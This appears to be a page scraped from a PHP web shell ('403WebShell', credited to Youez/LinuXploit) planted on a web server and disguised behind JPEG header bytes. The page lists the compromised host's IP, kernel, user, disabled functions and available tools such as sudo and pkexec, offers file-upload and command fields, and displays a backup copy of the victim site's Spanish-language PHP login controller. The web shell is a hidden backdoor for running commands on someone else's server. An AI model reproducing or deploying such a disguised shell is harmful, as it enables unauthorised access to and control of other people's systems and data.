����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rockyo/controller/nppBackup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rockyo/controller/nppBackup/AuthController.php.2025-05-12_012344.bak
<?php

if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

require_once(__DIR__ . '/../config/db.php');

if(isset($_POST['username'])){
	
		$username = $_POST['username'];
		$password = $_POST['password'];

		$sql = "SELECT * FROM users WHERE username = ?";
		$stmt = $pdo->prepare($sql);
		$stmt->execute([$username]);
		$user = $stmt->fetch();

		if ($user && password_verify($password, $user['password'])) {
			if ($user['is_logged_in']) {
				echo json_encode(["error" => "Usuario ya tiene una sesión activa."]);
				exit;
			}

			// Marcar como logueado
			$update = $pdo->prepare("UPDATE users SET is_logged_in = 1 WHERE id = ?");
			$update->execute([$user['id']]);

			// Guardar sesión
			$_SESSION['user_id'] = $user['id'];
			$_SESSION['username'] = $user['username'];

			// Registrar IP
			$ip = $_SERVER['REMOTE_ADDR'];
			$log = $pdo->prepare("INSERT INTO login_sessions (user_id, ip_address) VALUES (?, ?)");
			$log->execute([$user['id'], $ip]);

			echo json_encode(["success" => true]);
		} else {
			echo json_encode(["error" => "Credenciales inválidas."]);
		}
}

Youez - 2016 - github.com/yon3zu
LinuXploit